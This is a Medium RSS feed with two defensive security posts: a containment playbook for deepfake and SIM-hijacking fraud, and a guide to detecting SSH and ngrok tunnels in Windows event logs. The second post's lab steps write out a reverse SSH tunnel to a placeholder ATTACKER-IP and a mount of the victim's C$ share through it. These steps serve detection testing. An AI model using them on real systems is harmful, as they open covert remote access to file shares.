<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hod Felber on Medium]]></title>
        <description><![CDATA[Stories by Hod Felber on Medium]]></description>
        <link>https://medium.com/@hodfelber?source=rss-e2295dfd56ed------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*YzNPfUV22aTtKtyf</url>
            <title>Stories by Hod Felber on Medium</title>
            <link>https://medium.com/@hodfelber?source=rss-e2295dfd56ed------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 02:06:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hodfelber/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Containment Playbook for Combatting Deep Fakes]]></title>
            <link>https://medium.com/@hodfelber/the-containment-playbook-for-combatting-deep-fakes-eeb8044bc496?source=rss-e2295dfd56ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/eeb8044bc496</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[deepfakes]]></category>
            <dc:creator><![CDATA[Hod Felber]]></dc:creator>
            <pubDate>Wed, 17 Apr 2024 10:51:15 GMT</pubDate>
            <atom:updated>2024-04-17T10:51:15.828Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*W83Mu9wHQcV7OlpFxI_umQ.png" /></figure><p>In my role as a DFIR expert and tech lead at <a href="https://cyesec.com/">CYE</a>, I recently encountered a fraudulent attempt where an imposter targeted the CEO of a prominent company, posing as a high-ranking executive and persuading a partner to transfer funds. The vigilant partner quickly sensed something amiss and promptly alerted the security team.</p><p>While SIM swapping or hijacking is a long-standing technique employed by fraudsters, in rare cases exploiting vulnerabilities in GSM protocols, a more straightforward approach involves convincing the mobile operator to register a new SIM card. This approach can lead to identity theft, exploiting 2FA, stealing WhatsApp accounts and more.</p><p>What’s new then? The emergence of deep fake technologies adds a new layer of sophistication to fraud attempts. A noteworthy example involved an employee joining a Teams call with the CEO and transferring funds under the assumption that the call participants were legitimate. Unbeknownst to him, the entire attendance in the call comprised a group of fraudsters adeptly using deep fake technology. (<a href="https://edition.cnn.com/2024/02/04/asia/deepfake-cfo-scam-hong-kong-intl-hnk/index.html">https://edition.cnn.com/2024/02/04/asia/deepfake-cfo-scam-hong-kong-intl-hnk/index.html</a>)</p><p>The containment strategies I propose are outlined at the conclusion of this article. However, addressing the looming challenge of deep fake technology in the future raises critical questions for security. In an era dominated by deep fakes, relying on someone’s voice or image as a basis for trust constitutes a significant vulnerability. To counter this, I foresee a shift towards uniquely signing different data types, such as voice or video, directly by the physical device itself. These signatures would then be bound to a specific persona, subject to validation by a recognized authority or through blockchain technology, akin to the functioning of SSL. While this approach introduces potential privacy concerns, in my perspective, these are not substantially different from longstanding privacy issues.</p><p>To structure my recommendations, I intend to align them with 3 out of the 4 phases of NIST’s Incident Response (IR) cycle: Preparation, Detection and Analysis, and Containment, Eradication, and Recovery.</p><h3>Preparation</h3><ol><li>Remaining vigilant serves as the foremost defense against various forms of fraud, regardless of vulnerabilities arising from human actions. It is crucial to inform and train all employees about potential threats, including the dangers posed by deep fake, and emphasize strict adherence to the business protocols detailed below.</li><li>Clearly define actions necessitating multi-channel verification involving more than one entity.</li><li>Identify critical business procedures requiring adherence to verification protocols, such as initiating a validation call to the requesting entity.</li><li>Implement 2FA where feasible, utilizing an authenticator app. When deciding between email or SMS for cases where app-based authentication is not possible, determining the more secure option can be challenging, as it based on multiple factors and it’s hard to recommend which is safer.</li><li>Enhance security for applications such as WhatsApp/Telegram by implementing a PIN code using the app settings.</li></ol><h3>Detection</h3><ol><li>Unusual requests, particularly those concerning funds and finances, may signal fraudulent activity.</li><li>Inability to make calls or utilize data services could indicate a potential phone number hijacking.</li><li>Detecting deep fake attempts is challenging. Some bad techniques can be detected with tools or by noticing issues such as lags in video;however, employing a multi-channel verification and callback mechanisms as defined in the preparation phase can thwart such efforts. A reliable method involves posing a question known only to the genuine user and recipient.</li></ol><h3>Containment</h3><ol><li>Report the incident to your service provider and request:<br>a. Detailed instructions on binding your SIM card to your phone number.<br>b. Temporary suspension of outgoing calls to prevent impersonation — won’t be suitable for all cases.<br>c. Access to communication history associated with your number for further investigation.</li><li>Generate a new SIM card and link it to your phone — effective primarily against classic SIM swapping attacks rather than those relying on GSM routing protocols.</li><li>Update 2FA configurations to use an authenticator app or email, rather than SMS, across all phone number related accounts. A list of all services can be enumerated through SMS history.</li><li>Terminate active sessions on all associated accounts, change login passwords, and revoke authentication tokens.</li><li>Closely monitor all accounts linked to the affected number.</li><li>In certain scenarios, individuals may need to caution colleagues and family members about the potential for impersonation through their phone line, as the aforementioned steps might not suffice in some cases.</li><li>DON’T disconnect the phone unless all security measures in the playbook have been implemented, as in certain cases, complete mitigation may not be achievable, and maintaining some level of control over the phone number could be essential.</li></ol><p>In conclusion, lots of information is available online on preventing situations like SIM swapping, encompassing the methods detailed above. Detection methods are generally straightforward, often linked to a phone’s inability to make calls or use mobile data. However, the internet has been lacking in containment playbooks specifically addressing SIM hijacking from the standpoint of deep fake threats. Organizations should be urged to formulate the appropriate playbook and enhance awareness among their employees, family, and friends.</p><p>Written by <a href="https://www.linkedin.com/in/hod-felber-596538164/">Hod Felber</a> and was published first on <a href="https://cyesec.com/blog/the-containment-playbook-for-combatting-deep-fakes">CYE’s blog</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eeb8044bc496" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Behind the Veil: Identifying Stealthy Tunnels in Windows Event Logs]]></title>
            <link>https://medium.com/cyesec/behind-the-veil-identifying-stealthy-tunnels-in-windows-event-logs-6f0ba928110?source=rss-e2295dfd56ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f0ba928110</guid>
            <category><![CDATA[windows-event-logs]]></category>
            <category><![CDATA[rdp]]></category>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[ssh-tunnel]]></category>
            <dc:creator><![CDATA[Hod Felber]]></dc:creator>
            <pubDate>Mon, 07 Aug 2023 12:34:13 GMT</pubDate>
            <atom:updated>2023-08-07T12:34:13.951Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*1-25QWT1fb2eOdaV70Ud_A.png" /></figure><h4>What are tunneled connections? How to create them and how to detect them in Windows event logs?</h4><h3>General</h3><p>In recent times, a concerning trend has emerged in the realm of cyber attacks — attackers are increasingly leveraging native Windows services (known as Living off the land attacks or LoTL attacks). This approach allows them to exploit legitimate system components, making their malicious activities harder to detect. One particularly effective technique used by these attackers is the utilization of tunneled connections, which serve as a covert means to conceal suspicious behavior. In this discussion, we will explore the concept of tunneled connections, the principle of “packet encapsulation” behind them, and the challenges they pose in identifying and blocking malicious IP addresses.</p><h3>Understanding the concept of a tunneled connection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2UOq0w4d3qx5u7qxHod5Q.png" /><figcaption>Tunnled RDP flow/conversation structure</figcaption></figure><p>To grasp the concept of a tunneled connection, let us consider the following scenario: Prisoner A seeks to communicate with a friend outside the confines of the jail. However, any form of communication beyond immediate family members is strictly forbidden. In order to circumvent this restriction, Prisoner A devises a solution where he entrusts his family with relaying his message to his friend. Through this “tunneling” process, communication between Prisoner A and his friend is successfully established.</p><p>The metaphor of the prison draws a parallel between the rules governing prisons and the firewall rules that restrict outgoing traffic, meticulously scrutinizing the source and destination of each message (“packets”). In this analogy, the prisoner encapsulates his messages with headers, ensuring that his family receives a complete packet that includes the necessary routing information to reach his friends.</p><p>When considering the specific type of detection I wish to address, we delve into the realm of “tunneled connections” within our networks. Similar to web browsing, it is the client who initiates this type of connection. However, in the hands of an attacker, such conversations can serve as a means to conceal their illicit activities. It’s worth noting that a tunneled connection can accommodate multiple connections, resembling the functionality of a VPN. A VPN, in fact, represents one form of tunnel that provides additional capabilities alongside channel encryption between the client and the VPN server. In this article, I aim to explore two distinct methods of establishing a tunnel between the victim’s machine and the attacker.</p><h3>Tunneling combined with port forwarding</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*tFtr7pJjNk2JqKc8aJlqQw.png" /><figcaption>The connation done through the tunnel, only loopback sniffing will reveal the traffic</figcaption></figure><p>When an attacker employs a tunneled connection using tools like OpenSSH, PuTTY, or ngrok, they often combine it with port forwarding. Port forwarding serves as a mechanism that enables the user to redirect traffic from one socket to another, irrespective of whether these sockets reside on the same machine or not. One common application of port forwarding is exposing a service behind NAT to the internet by configuring the router/firewall accordingly. In this scenario, a packet destined for a specific port arrives, and the firewall dutifully redirects it to the intended endpoint.</p><p>When an attacker utilizes a tunnelled connection, the connection itself is initiated by the victim’s machine, establishing a tunnel to the attacker. Consequently, any traffic passing through this tunnel becomes invisible to packet inspection devices. If all traffic is directed through this tunnel, the only visible communication in a PCAP would be the single conversation occurring between the victim’s machine and the attacker.</p><p>By leveraging the combination of an encrypted channel and port forwarding, attackers can expose a listening port on the victim’s side without detection. In the event that a connection is initiated to a service on the victim’s machine, the observed traffic would appear as originating from a random port towards the listening port. For instance, if a host is listening on port 445 for SMB connections, the captured connection would be identified as<em> CLIENT-IP:RANDOM-PORT &gt;&gt; HOST-IP:445</em>. However, in the case of a tunneled connection, the only visible connection would be from the host to the machine running the service that enables tunneling. As an example, the observed connection might appear as <em>HOST-IP:RANDOM-PORT &gt;&gt; ATTACKER-IP:22 </em>in the context of an SSH server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZCf9I6uhhq5g0ZfrgOALA.png" /><figcaption>First an SSH connection is made from the compromised machine and then the attacker uses it as a tunnel.</figcaption></figure><h3>What windows event logs can tell?</h3><p>Certain Windows event logs can provide indications of a tunneled connection under specific circumstances. Typically, when a network service records an event with a source IP field that matches either the host IP itself or the loopback address, it strongly suggests the presence of a tunneled connection. Ordinarily, when someone logs into such services, it signifies remote access originating from a separate machine, and the source IP field in the log should reflect the connection’s origin. However, if the source IP field is the same as the loopback address or the host IP address, it indicates that the server is essentially connected to itself. Connecting to a network service like SMB (Event ID 5140/5145) or RDP (Event ID 1149) from the same machine is generally unnecessary and raises suspicion.</p><h3>Detection Rules Summary</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*alZ1AxUIQ4t0FzIee7GC1g.png" /><figcaption>Example of a log that indicates a tunneled SMB connection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*ljvPItfdSbCzNkK14LSWDw.png" /><figcaption>Example of a log that indicates a tunneled RDP connection</figcaption></figure><p>To summarize the article into detection rules:</p><p><strong>RDP/SMB detaction rules:</strong></p><pre>EventID in (5140, 5145) AND SourceAddress in [127.0.0.1, ::1, $INVESTIGATED_HOST_IP]</pre><pre>EventID == 1149 AND SourceNetworkAddress in (127.0.0.1, ::1, $INVESTIGATED_HOST_IP, ::%16777216)</pre><p>However, please note that events 5145 and 5140 may require enabling through group policy. Nonetheless, do not let this hinder your detection efforts. Event ID 4624 is enabled by default for successful logins. This event records logon types, where Logon type 3 indicates a network connection, 7 represents an unlock, and 10 denotes RDP connections. When the logon type is equal to 3, 7, or 10, and the IP Address field is the loopback address, it strongly indicates a connection through a tunnel.</p><blockquote>Important: When the logon type is equal to 2, it is normal to have 127.0.0.1 in the IP address field. Pay attention to the logon type!</blockquote><p><strong>Event ID 4624 Detection Rule:</strong></p><pre>EventID == 4624 AND LogonType in (3, 7, 10) AND IPAddress in (127.0.0.1, ::1, $INVESTIGATED_HOST_IP)</pre><p>Event IDs to search for similar indicators in the Source IP address (or equivalent):</p><p><strong>Security.evtx:</strong></p><ul><li>4624 — An account was successfully logged on. (logontype 3, 7, 10)</li><li>5156 — The Windows Filtering Platform has permitted a connection.</li><li>5140 — A network share object was accessed.</li></ul><p><strong>Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational.evtx:</strong></p><ul><li>1149 — User authentication succeeded</li></ul><p>RemoteDesktopServices-RDPCoreTS /Operational:</p><ul><li>131 — The server accepted a new TCP connection from the client</li></ul><p><strong>TerminalServices-LocalSessionManager/Operational:</strong></p><ul><li>25 — Remote Desktop Services: Session reconnection succeeded</li></ul><blockquote>Note: Some RDP-related events may contain the keyword “LOCAL” in the IP field, which is a natural behavior and does not necessarily indicate a connection through a tunnel.</blockquote><p>Here are the steps to try it yourself! Please note that this is not a recommendation to enable it on your network.</p><p><strong>Enable logging of event ID 5140 on the “victim” machine.</strong></p><ul><li>Press <em>Winkey + R &gt; Type “gpedit.msc” &gt; Go to Computer Configuration/Windows Settings/Security Settings/Advanced Audit Policy/System Audit Policies…/Object Access/Audit File Share &gt; Check all the checkboxes.</em></li></ul><p><strong>Start an SSH connection with port forwarding to the attacker machine. (Assuming you have already configured an SSH service)</strong></p><pre>ssh user@ATTACKER-IP -R 4450:localhost:445</pre><p><strong>SMB connections can only be made to destination port 445, so let’s create port forwarding on the attacker’s machine.</strong></p><pre>sudo ssh user@localhost -R 445:localhost:4450<br>#Starting to listen on a well-known port requires high privileges.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*8tVAb8iNQRaYA04Ybw-teQ.png" /><figcaption>Listening ports table on the attacker’s machine</figcaption></figure><p><strong>Mount an SMB share; this is where the magic happens. 😊</strong></p><pre>sudo mount -t cif -ouser=USERNAME //127.0.0.1/C$ /mnt</pre><p><strong>Check event logs on the victim’s machine.</strong></p><h3>Bonus fact</h3><p>A while ago, I investigated a compromised server, but I struggled to identify the initial access point to the machine. Among the multitude of RDP connections logged in the Windows event logs, a specific entry grabbed my attention. It displayed the source IP address as <em>“::%16777216”</em>. Curiosity led me to conduct a quick Google search, which revealed that this source IP address is often associated with the usage of ngrok. However, since there was no concrete evidence of ngrok being used in this case, I decided to dig deeper and conduct further research. As a result, I discovered that this source IP address might also appear in other RDP tunneled connections. The inital access was made by drop and execute such a tool from another comporomised machine.</p><p><em>Written as part of the CYE “</em><strong><em>CyberTalks</em></strong><em>” series, to share personal knowledge gained from our real-world experience.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f0ba928110" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/behind-the-veil-identifying-stealthy-tunnels-in-windows-event-logs-6f0ba928110">Behind the Veil: Identifying Stealthy Tunnels in Windows Event Logs</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>